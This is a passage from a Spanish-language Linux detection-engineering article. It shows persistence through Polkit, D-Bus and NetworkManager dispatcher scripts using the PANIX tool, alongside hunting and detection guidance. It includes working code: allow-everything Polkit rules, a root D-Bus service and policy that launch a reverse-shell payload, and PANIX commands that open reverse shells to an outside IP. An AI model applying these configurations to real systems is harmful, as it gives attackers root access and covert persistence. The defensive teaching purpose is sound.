  • Reglas: los archivos similares a JavaScript (.rules) determinan cómo se otorga la autorización para acciones específicas. Pueden verificar grupos de usuarios, variables de entorno u otras condiciones.
  • Políticas de autorización: los archivos.pkla establecen autorizaciones predeterminadas o por usuario/grupo para acciones, determinando si se requiere autenticación.

Los archivos de configuración utilizados por Polkit se encuentran en varias ubicaciones diferentes, dependiendo de la versión de Polkit presente en el sistema y de la distribución de Linux activa. Las ubicaciones principales que debes conocer:

  • Definiciones de acciones:
    • /usr/share/polkit-1/actions/
  • Definiciones de reglas:
    • /etc/polkit-1/rules.d/
    • /usr/share/polkit-1/rules.d/
  • Definiciones de autorización:
    • /etc/polkit-1/localauthority/
    • /var/lib/polkit-1/localauthority/

Un archivo Polkit .rules define la lógica para otorgar o denegar acciones específicas. Estos archivos ofrecen flexibilidad para decidir si un usuario o proceso puede ejecutar una acción. Aquí se presenta un ejemplo sencillo:

polkit.addRule(function(action, subject) {
    if (action.id == "org.freedesktop.systemd1.manage-units" &&
        subject.isInGroup("servicemanagers")) {
        return polkit.Result.YES;
    }
    return polkit.Result.NOT_HANDLED;
});

En esta regla:

  • La acción org.freedesktop.systemd1.manage-units (gestión de servicios systemd) se otorga a los usuarios del grupo servicemanagers.
  • Otras acciones vuelven a la gestión por defecto.

Esta estructura permite a los administradores implementar políticas personalizadas, pero también abre la puerta a atacantes que pueden insertar reglas demasiado permisivas para obtener privilegios no autorizados.

Actualmente, Polkit no cuenta con una técnica específica en el marco de trabajo MITRE ATT&CK. La coincidencia más cercana es T1543: crear o modificar un proceso del sistema, que describe a los adversarios que modifican procesos a nivel de sistema para lograr persistencia o escalada de privilegios.

En la próxima sección, vamos a explorar paso a paso cómo los atacantes pueden crear e implementar reglas y archivos de autorización maliciosos de Polkit, mientras analizamos las estrategias de detección y mitigación.

Persistencia mediante T1543: crear o modificar un proceso del sistema: PolicyKit

Ahora que entendemos la teoría, veamos cómo simular esto en la práctica a través del módulo PANIX setup_polkit.sh. Primero, el módulo verifica la versión activa de Polkit mediante el comando pkaction --version, ya que las versiones < 0.106 utilizan los archivos .pkla más antiguos, mientras que las versiones más recientes (>= 0.106) utilizan los archivos .rules más recientes. Según la versión, el módulo seguirá creando la política de Polkit que es excesivamente permisiva. Para versiones < 0.106, se crea un archivo .pkla en /etc/polkit-1/localauthority/50-local.d/:

mkdir -p /etc/polkit-1/localauthority/50-local.d/

# Write the .pkla file
cat <<-EOF > /etc/polkit-1/localauthority/50-local.d/panix.pkla
[Allow Everything]
Identity=unix-user:*
Action=*
ResultAny=yes
ResultInactive=yes
ResultActive=yes
EOF

Permitir que cualquier unix-user realice cualquier acción mediante los parámetros Identity=unix-user:* y Action=*.

Para las versiones >= 0.106 se crea un archivo .rules en /etc/polkit-1/rules.d/:

mkdir -p /etc/polkit-1/rules.d/

# Write the .rules file
cat <<-EOF > /etc/polkit-1/rules.d/99-panix.rules
polkit.addRule(function(action, subject) {
	return polkit.Result.YES;
});
EOF

Cuando una política demasiado permisiva siempre da como resultado polkit.Result.YES, significa que cualquier acción que requiera la autenticación de Polkit será permitida por cualquiera.

Las reglas de Polkit se procesan en orden lexicográfico (ASCII), lo que significa que los archivos con números más bajos se cargan primero, y las reglas posteriores pueden anular las anteriores. Si dos reglas modifican la misma política, la regla con el número más alto tiene prioridad porque se evalúa al final. Para garantizar que la regla se ejecute y prevalezca sobre otras, PANIX la crea con un nombre de archivo que empieza con 99 (por ejemplo, 99-panix.rules.

Ejecutemos el módulo PANIX con los siguientes argumentos de línea de comando:

> sudo ./panix.sh --polkit

[!] Polkit version < 0.106 detected. Setting up persistence using .pkla files.
[+] Persistence established via .pkla file.
[+] Polkit service restarted.
[!] Run pkexec su - to test the persistence.

Y revisa los logs en Kibana:

Al ejecutar PANIX, podemos observar que se emite el comando pkaction --version para determinar si se requiere un enfoque de archivo .pkla o .rules. Después de resolver esto, se crea la política correcta y se reinicia el servicio polkit (aunque esto no siempre es necesario). Una vez que estas políticas estén en su lugar, un usuario con un user.Ext.real.id de 1000 (no root) puede obtener privilegios de root al ejecutar el comando pkexec su -.

Veamos nuestras oportunidades de detección:

Reglas de detección y de endpoint que cubren la persistencia de Polkit

Para revertir cualquier cambio, puedes usar el módulo correspondiente de reversión ejecutándolo:

> ./panix.sh --revert polkit

[+] Checking for .pkla persistence file...
[+] Removed file: /etc/polkit-1/localauthority/50-local.d/panix.pkla
[+] Checking for .rules persistence file...
[-] .rules file not found: /etc/polkit-1/rules.d/99-panix.rules
[+] Restarting polkit service...
[+] Polkit service restarted successfully.

Búsqueda de T1543: crear o modificar un proceso del sistema: PolicyKit

Podemos buscar esta técnica usando ES|QL y OSQuery, centrándonos en la actividad sospechosa relacionada con la modificación de los archivos de configuración y las reglas de PolicyKit. El enfoque incluye la búsqueda de lo siguiente:

  1. Creaciones o modificaciones a los archivos de configuración de PolicyKit: se hace un seguimiento de los cambios en directorios críticos que contienen reglas personalizadas y del sistema, descripciones de acciones y reglas de autorización. El monitoreo de estas rutas ayuda a identificar adiciones no autorizadas o manipulaciones que podrían indicar actividad maliciosa.
  2. Análisis de metadatos de archivos de PolicyKit: inspecciona la propiedad de los archivos, los tiempos de acceso y las marcas de tiempo de modificación para archivos relacionados con PolicyKit. Los cambios no autorizados o archivos con propiedad inesperada pueden indicar un intento de persistir o escalar privilegios mediante PolicyKit.
  3. Detección de eventos raros o anómalos: identifica eventos poco comunes de modificación o creación de archivos mediante el análisis de la ejecución de procesos y la correlación con la actividad de archivos. Esto ayuda a identificar indicadores sutiles de riesgo.

Al combinar la regla de búsqueda de persistencia mediante PolicyKit con las búsquedas de detección personalizadas enumeradas anteriormente, los analistas pueden identificar y responder de manera efectiva a T1543.

T1543 - Crear o modificar proceso del sistema: D-Bus

D-Bus (bus de escritorio) es un sistema de comunicación entre procesos (IPC) que se utiliza ampliamente en Linux y otros sistemas operativos tipo Unix. Funciona como un bus de mensajes estructurado, lo que permite que los procesos, los servicios del sistema y las aplicaciones se comuniquen y coordinen acciones. Como pilar de los entornos modernos de Linux, D-Bus proporciona el marco de trabajo para la comunicación tanto a nivel de sistema como específica del usuario.

En su núcleo, D-Bus facilita la interacción entre procesos al proporcionar un mecanismo estandarizado para enviar y recibir mensajes, lo que elimina la necesidad de soluciones IPC personalizadas mientras mejora la eficiencia y la seguridad. Funciona a través de dos canales de comunicación principales:

  • Bus del sistema: se usa para la comunicación entre servicios a nivel de sistema y operaciones privilegiadas, como la gestión de hardware o la configuración de la red.
  • Bus de sesión: se usa para la comunicación entre aplicaciones a nivel de usuario, como notificaciones de escritorio o reproductores multimedia.

Un daemon D-Bus gestiona el bus de mensajes, lo que asegura que los mensajes se enruten de manera segura entre procesos. Los procesos se registran en el bus con nombres únicos y ofrecen interfaces que incluyen métodos, señales y propiedades para que otros procesos interactúen con ellos. Los componentes núcleo de la comunicación D-Bus son los siguientes:

Interfaces:

  • Define una colección de métodos, señales y propiedades que un servicio ofrece.
  • Ejemplo: org.freedesktop.NetworkManager proporciona métodos para gestionar las conexiones de red.

Métodos:

  • Permite que los procesos externos invoquen acciones específicas o soliciten información.
  • Ejemplo: el método org.freedesktop.NetworkManager.Reload puede usarse para recargar un servicio de red.

Señales:

  • Notificaciones enviadas por un servicio para informar a otros procesos sobre eventos.
  • Ejemplo: una señal podría indicar un cambio en el estado de la conexión de red.

Por ejemplo, el siguiente comando envía un mensaje al bus del sistema para invocar el método Reload en el servicio NetworkManager:

dbus-send --system --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Reload uint32:0

Los servicios de D-Bus son aplicaciones o procesos en segundo plano que se registran en el bus para ofrecer funcionalidad. Si un servicio solicitado no está en ejecución, el daemon D-Bus puede iniciarlo automáticamente con archivos de servicio predefinidos.

Estos servicios utilizan archivos de servicio con una extensión .service para indicar a D-Bus cómo iniciar un servicio. Por ejemplo:

[D-BUS Service]
Name=org.freedesktop.MyService
Exec=/usr/bin/my-service
User=root

Los archivos de servicio de D-Bus pueden encontrarse en varias ubicaciones, dependiendo de si estos servicios se ejecutan a nivel del sistema o del usuario, y también de la arquitectura y la distribución de Linux. A continuación, se presenta una visión general de las ubicaciones utilizadas, que no es una lista exhaustiva, ya que las diferentes distribuciones usan ubicaciones predeterminadas distintas:

  1. Configuración y servicios del sistema:
    • Archivos de servicio del sistema:
      • /usr/share/dbus-1/system-services/
      • /usr/local/share/dbus-1/system-services/
    • Archivos de políticas del sistema:
      • /etc/dbus-1/system.d/
      • /usr/share/dbus-1/system.d/
    • Archivos de configuración del sistema:
      • /etc/dbus-1/system.conf
      • /usr/share/dbus-1/system.conf
  2. Configuración y servicios de la sesión:
    • Archivos de servicio de sesión:
      • /usr/share/dbus-1/session-services/
      • ~/.local/share/dbus-1/services/
    • Archivos de políticas de sesión:
      • /etc/dbus-1/session.d/
      • /usr/share/dbus-1/session.d/
    • Archivos de configuración de la sesión:
      • /etc/dbus-1/session.conf
      • /usr/share/dbus-1/session.conf

Obtén más detalles sobre cada ruta disponible aquí. Las políticas de D-Bus, escritas en XML, definen las reglas de control de acceso para los servicios de D-Bus. Estas políticas especifican quién puede realizar acciones como enviar mensajes, recibir respuestas o poseer servicios específicos. Son cruciales para controlar el acceso a las operaciones privilegiadas y asegurar que los servicios no se usen de forma incorrecta. Hay varios componentes clave de una política de D-Bus:

  1. Contexto:
  • Las políticas pueden aplicarse a usuarios específicos, a grupos o a un contexto predeterminado (default se aplica a todos los usuarios, a menos que se sobrescriba).
  1. Reglas de permitir/denegar:
  • Las reglas otorgan (allow) o restringen (deny) explícitamente el acceso a métodos, interfaces o servicios.
  1. Granularidad:
  • Las políticas pueden controlar el acceso a varios niveles:
    • Servicios completos (por ejemplo, org.freedesktop.MyService).
    • Métodos o interfaces específicos (p. ej., org.freedesktop.MyService.SecretMethod).

El siguiente ejemplo muestra una política de D-Bus que impone restricciones de acceso claras:

<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
  "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
    <!-- Default policy: Deny all access -->
    <policy context="default">
        <deny send_destination="org.freedesktop.MyService"/>
    </policy>

    <!-- Allow only users in the "admin" group to access specific methods -->
    <policy group="admin">
        <allow send_interface="org.freedesktop.MyService.PublicMethod"/>
    </policy>

    <!-- Allow root to access all methods -->
    <policy user="root">
        <allow send_destination="org.freedesktop.MyService"/>
    </policy>
</busconfig>

Esta política:

  1. Niega todo acceso al servicio org.freedesktop.MyService por defecto.
  2. Otorga a los usuarios del grupo admin acceso a una interfaz específica (org.freedesktop.MyService.PublicMethod).
  3. Otorga acceso completo al destino org.freedesktop.MyService para el usuario root.

El rol central de D-Bus en la comunicación entre procesos (IPC) lo convierte en un objetivo potencialmente interesante para los atacantes. Los vectores de ataque potenciales incluyen lo siguiente:

  1. Secuestro o registro de servicios maliciosos:
    • Los atacantes pueden reemplazar o agregar archivos .service, por ejemplo, /usr/share/dbus-1/system-services/ para secuestrar comunicaciones legítimas o inyectar código malicioso.
  2. Creación o explotación de políticas demasiado permisivas:
    • Las políticas débiles (p. ej., otorgar acceso a todos los usuarios a servicios críticos) pueden permitir a los atacantes invocar métodos privilegiados.
  3. Abuso de servicios vulnerables:
    • Si un servicio D-Bus no valida correctamente la entrada, los atacantes podrían ejecutar código arbitrario o realizar acciones no autorizadas.

Los ejemplos anteriores se pueden usar para la escalada de privilegios, la evasión de defensa y la persistencia. Actualmente, no existe una subtécnica específica de MITRE ATT&CK para D-Bus. Sin embargo, su abuso se alinea estrechamente con T1543: crear o modificar un proceso del sistema, así como con T1574: secuestro del flujo de ejecución para casos en los que se modifican archivos .service.

En la siguiente sección, veremos cómo un atacante puede establecer configuraciones de D-Bus demasiado permisivas que envían conexiones inversas con permisos de root, mientras analizamos enfoques para detectar este comportamiento.

Persistencia mediante T1543: crear o modificar un proceso del sistema: D-Bus

Ahora que hemos aprendido todo sobre la configuración de D-Bus, es momento de ver cómo simular esto en la práctica mediante el módulo PANIX setup_dbus.sh. PANIX inicia al crear un archivo del servicio D-Bus en /usr/share/dbus-1/system-services/org.panix.persistence.service con el siguiente contenido:

cat <<'EOF' > "$service_file"
[D-BUS Service]
Name=org.panix.persistence
Exec=/usr/local/bin/dbus-panix.sh
User=root
EOF

Este archivo de servicio escuchará en la interfaz org.panix.persistence y ejecutará el “servicio” /usr/local/bin/dbus-panix.sh . El script dbus-panix.sh simplemente invoca una conexión de shell inverso cuando se le llama:

cat <<EOF > "$payload_script"
#!/bin/bash
# When D-Bus triggers this service, execute payload.
${payload}
EOF

Para garantizar que cualquier usuario pueda invocar las acciones correspondientes a la interfaz, PANIX establece un archivo /etc/dbus-1/system.d/org.panix.persistence.conf con el siguiente contenido:

cat <<'EOF' > "$conf_file"
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
	"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
	<!-- Allow any user to own, send to, and access the specified service -->
	<policy context="default">
		<allow own="org.panix.persistence"/>
		<allow send_destination="org.panix.persistence"/>
		<allow send_interface="org.panix.persistence"/>
	</policy>
</busconfig>
EOF

Esta configuración define una política de D-Bus que permite a cualquier usuario o proceso poseer, enviar mensajes e interactuar con el servicio org.panix.persistence, lo que otorga acceso sin restricciones a este. Después de reiniciar el servicio dbus, la configuración está completa.

Para interactuar con el servicio, se puede usar el siguiente comando:

dbus-send --system --type=method_call /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

Este comando envía una llamada de método al bus del sistema D-Bus, dirigida al servicio org.panix.persistence, lo que invoca el método org.panix.persistence.Method en el objeto /org/panix/persistence, lo que activa la puerta trasera de manera efectiva.

Ejecutemos el módulo PANIX con los siguientes argumentos de línea de comando:

> sudo ./panix.sh --dbus --default --ip 192.168.1.100 --port 2016

[+] Created/updated D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service
[+] Created/updated payload script: /usr/local/bin/dbus-panix.sh
[+] Created/updated D-Bus config file: /etc/dbus-1/system.d/org.panix.persistence.conf
[!] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence module completed. Test with:

dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

Al ejecutar el comando dbus-send:

dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

Vamos a revisar los documentos en Kibana:

Al ejecutar PANIX, se generan los archivos org.panix.persistence.service, dbus-panix.sh y org.panix.persistence.conf, lo que establece exitosamente el entorno. A continuación, se reinicia el servicio dbus y se ejecuta el comando dbus-send para interactuar con el servicio org.panix.persistence. Al invocar el método org.panix.persistence.Method, se ejecuta la puerta trasera dbus-panix.sh, y se inicia la cadena de conexión de shell inverso (dbus-panix.shnohupsetsidbash).

Veamos nuestras oportunidades de detección:

Reglas de detección y de endpoint que cubren la persistencia de D-Bus

Para revertir cualquier cambio, puedes usar el módulo correspondiente de reversión ejecutándolo:

> ./panix.sh --revert dbus

[*] Reverting D-Bus persistence module...
[+] Removing D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service...
[+] D-Bus service file removed.
[+] Removing payload script: /usr/local/bin/dbus-panix.sh
[+] Payload script removed.
[+] Removing D-Bus configuration file: /etc/dbus-1/system.d/org.panix.persistence.conf...
[+] D-Bus configuration file removed.
[*] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence reverted.

Búsqueda de T1543: crear o modificar un proceso del sistema: D-Bus

Podemos buscar esta técnica usando ES|QL y OSQuery, centrándonos en la actividad sospechosa relacionada con el uso y la modificación de archivos, servicios y procesos relacionados con D-Bus. El enfoque incluye el monitoreo de lo siguiente:

  1. Creaciones o modificaciones a los archivos de configuración y servicio de D-Bus: realiza un seguimiento de los cambios en directorios críticos, como los archivos de servicio del sistema y de la sesión, así como los archivos de políticas. El monitoreo de estas rutas ayuda a detectar adiciones o modificaciones no autorizadas que podrían indicar actividad maliciosa dirigida a D-Bus.
  2. Análisis de metadatos de archivos D-Bus: inspecciona la propiedad de los archivos, los tiempos del último acceso y las marcas de tiempo de modificación para los archivos de configuración de D-Bus. Esto puede revelar cambios no autorizados o la presencia de archivos inesperados que podrían indicar intentos de persistir mediante D-Bus.
  3. Detección de procesos sospechosos: monitorea las ejecuciones de procesos como dbus-daemon y dbus-send, que son componentes clave de la comunicación D-Bus. Al rastrear las líneas de comando, los procesos principales y los conteos de ejecución, se puede identificar un uso inusual o no autorizado.
  4. Detección de eventos raros o anómalos: identifica modificaciones poco comunes de archivos o ejecuciones de procesos al correlacionar datos de eventos entre endpoints. Esto resalta indicadores sutiles de riesgo, como cambios poco comunes en configuraciones críticas de D-Bus o el uso inesperado de comandos de D-Bus.

Al combinar la regla de búsqueda de persistencia mediante el bus de escritorio (D-Bus) con las búsquedas de detección personalizadas mencionadas anteriormente, los analistas pueden identificar y responder de manera efectiva a T1543.

T1546: ejecución activada por eventos: NetworkManager

NetworkManager es un daemon ampliamente utilizado para gestionar conexiones de red en sistemas Linux. Permite configurar interfaces de red cableadas, inalámbricas, VPN y otras, mientras ofrece un diseño modular y extensible. Una de sus características menos conocidas, pero poderosas, es su despachador característico, que proporciona una forma de ejecutar scripts automáticamente en respuesta a eventos de red. Cuando ocurren ciertos eventos de red (p. ej., una interfaz se activa o se desactiva), NetworkManager invoca scripts ubicados en este directorio. Estos scripts se ejecutan como root, lo que les otorga un alto nivel de privilegios.

  • Tipos de eventos: NetworkManager pasa eventos específicos a los scripts, como los siguientes:
    • up: la interfaz está activada.
    • down: la interfaz está desactivada.
    • vpn-up: la conexión VPN se estableció.
    • vpn-down: la conexión VPN se desconectó.

Los scripts ubicados en /etc/NetworkManager/dispatcher.d/ son scripts estándar de shell y deben marcarse como ejecutables. Un ejemplo de un script de despachador podría verse así:

#!/bin/bash
INTERFACE=$1
EVENT=$2

if [ "$EVENT" == "up" ]; then
    logger "Interface $INTERFACE is up. Executing custom script."
    # Perform actions, such as logging, mounting, or starting services
    /usr/bin/some-command --arg value
elif [ "$EVENT" == "down" ]; then
    logger "Interface $INTERFACE is down. Cleaning up."
    # Perform cleanup actions
fi

Registro de eventos y ejecución de comandos cada vez que una interfaz de red se activa o se desactiva.

Para lograr persistencia mediante esta técnica, un atacante puede:

  • Crea un script personalizado, márcalo como ejecutable y colócalo dentro del directorio del despachador
  • Modificar un script de despachador legítimo para ejecutar una carga útil en un determinado evento de red.

La persistencia mediante dispatcher.d/ se alinea con T1546: ejecución desencadenada por eventos y T1543: crear o modificar un proceso del sistema en el marco de trabajo MITRE ATT&CK. Sin embargo, los scripts de despachador de NetworkManager no tienen su propia subtécnica.

En la siguiente sección, exploraremos cómo se pueden explotar los scripts de despachador para la persistencia y visualizaremos el flujo del proceso para respaldar la ingeniería de detección efectiva.

Persistencia mediante T1546: ejecución desencadenada por eventos

El concepto de esta técnica es muy simple, pongámoslo ahora en práctica a través del módulo PANIX setup_network_manager.sh. El módulo verifica si el paquete NetworkManager está disponible y si la ruta /etc/NetworkManager/dispatcher.d/ existe, ya que estos son requisitos para que la técnica funcione. A continuación, se crea un nuevo archivo de despachador en /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh, con una carga útil al final. Finalmente, se otorgan permisos de ejecución al archivo del despachador, después de lo cual está listo para activarse.

cat <<'EOF' > "$dispatcher_file"
#!/bin/sh -e

if [ "$2" = "connectivity-change" ]; then
	exit 0
fi

if [ -z "$1" ]; then
	echo "$0: called with no interface" 1>&2
	exit 1
fi

[...]

# Insert payload here:
__PAYLOAD_PLACEHOLDER__
EOF

chmod +x "$dispatcher_file"

Incluimos solo los fragmentos más relevantes del módulo anterior. No dudes en revisar el código fuente del módulo si te interesa profundizar más.

Ejecutemos el módulo PANIX con los siguientes argumentos de línea de comando:

> sudo ./panix.sh --network-manager --default --ip 192.168.1.100 --port 2017

[+] Created new dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
[+] Replaced payload placeholder with actual payload.
[+] Using dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh

Ahora, cada vez que se desencadene un nuevo evento de red, se ejecutará la carga útil. Se puede resolver reiniciando el servicio NetworkManager, una interfaz específica, o reiniciando el sistema. Echemos un vistazo a los documentos en Kibana:

Al ejecutar PANIX, se crea el script panix-dispatcher.sh, se marca como ejecutable y se utiliza sed para agregar la carga útil al final del script. Al reiniciar el servicio de NetworkManager a través de systemctl, podemos ver a nm-dispatcher ejecutando el script panix-dispatcher.sh, detonando efectivamente la cadena de shell inverso (panix-dispatcher.shnohupsetsidbash).

Por último, veamos nuestras oportunidades de detección:

Reglas de detección y de endpoint que cubren la persistencia del gestor de red

Para revertir cualquier cambio, puedes usar el módulo correspondiente de reversión ejecutándolo:

> ./panix.sh --revert network-manager

[+] Checking for payload in /etc/NetworkManager/dispatcher.d/01-ifupdown...
[+] No payload found in /etc/NetworkManager/dispatcher.d/01-ifupdown.
[+] Removing custom dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh...
[+] Custom dispatcher file removed.
[+] NetworkManager persistence reverted.

Búsqueda de T1546: ejecución desencadenada por eventos: NetworkManager

Podemos buscar esta técnica usando ES|QL y OSQuery, centrándonos en la actividad sospechosa relacionada con la creación, modificación y ejecución de scripts del despachador NetworkManager. El enfoque incluye el monitoreo de lo siguiente:

  1. Creaciones o modificaciones a los scripts del despachador: monitorea los cambios dentro del directorio /etc/NetworkManager/dispatcher.d/. El monitoreo de scripts nuevos o modificados ayuda a detectar adiciones o cambios no autorizados que podrían indicar una intención maliciosa.
  2. Detección de procesos sospechosos: monitorea los procesos ejecutados por nm-dispatcher o scripts ubicados en /etc/NetworkManager/dispatcher.d/. Mediante el análisis de líneas de comando, procesos principales y recuentos de ejecución, se pueden identificar ejecuciones de scripts inusuales o no autorizadas.
  3. Análisis de metadatos de los scripts del despachador: inspecciona la propiedad, los tiempos de último acceso y las marcas de tiempo de modificación de los archivos en /etc/NetworkManager/dispatcher.d/. Esto puede revelar cambios no autorizados o anomalías en los atributos de archivos que podrían indicar intentos de persistencia.

Al combinar la regla de búsqueda de persistencia mediante el script del despachador NetworkManager con las búsquedas de detección personalizadas enumeradas anteriormente, los analistas pueden identificar y responder de manera efectiva a T1546.

Conclusión

En el quinto y último capítulo de la serie “Ingeniería de detección de Linux”, nos enfocamos en los mecanismos de persistencia integrados en el proceso de arranque de Linux, los sistemas de autenticación, la comunicación entre procesos y las utilidades del núcleo. Comenzamos con la persistencia basada en GRUB y la manipulación de initramfs, lo que abarca tanto los enfoques manuales como los métodos automatizados utilizando Dracut. Al profundizar, exploramos la persistencia basada en Polkit, seguida de una inmersión en la explotación de D-Bus, y concluimos con los scripts del despachador NetworkManager, destacando su potencial de abuso en escenarios de persistencia.

A lo largo de esta serie, PANIX desempeñó un rol crucial en la demostración y simulación de estas técnicas, lo que te permite evaluar tus capacidades de detección y reforzar tus defensas. Combinadas con las búsquedas ES|QL y OSQuery personalizadas proporcionadas, estas herramientas te permiten identificar y responder de manera efectiva incluso a los mecanismos de persistencia más avanzados.

Al cerrar esta serie, esperamos que te sientas capacitado para abordar las amenazas de persistencia en Linux con confianza. Con conocimientos prácticos, estrategias accionables y experiencia práctica, tienes una buena preparación para defenderte de los adversarios que se dirigen a entornos Linux. Gracias por acompañarnos y, como siempre, ¡mantente alerta y feliz búsqueda de amenazas!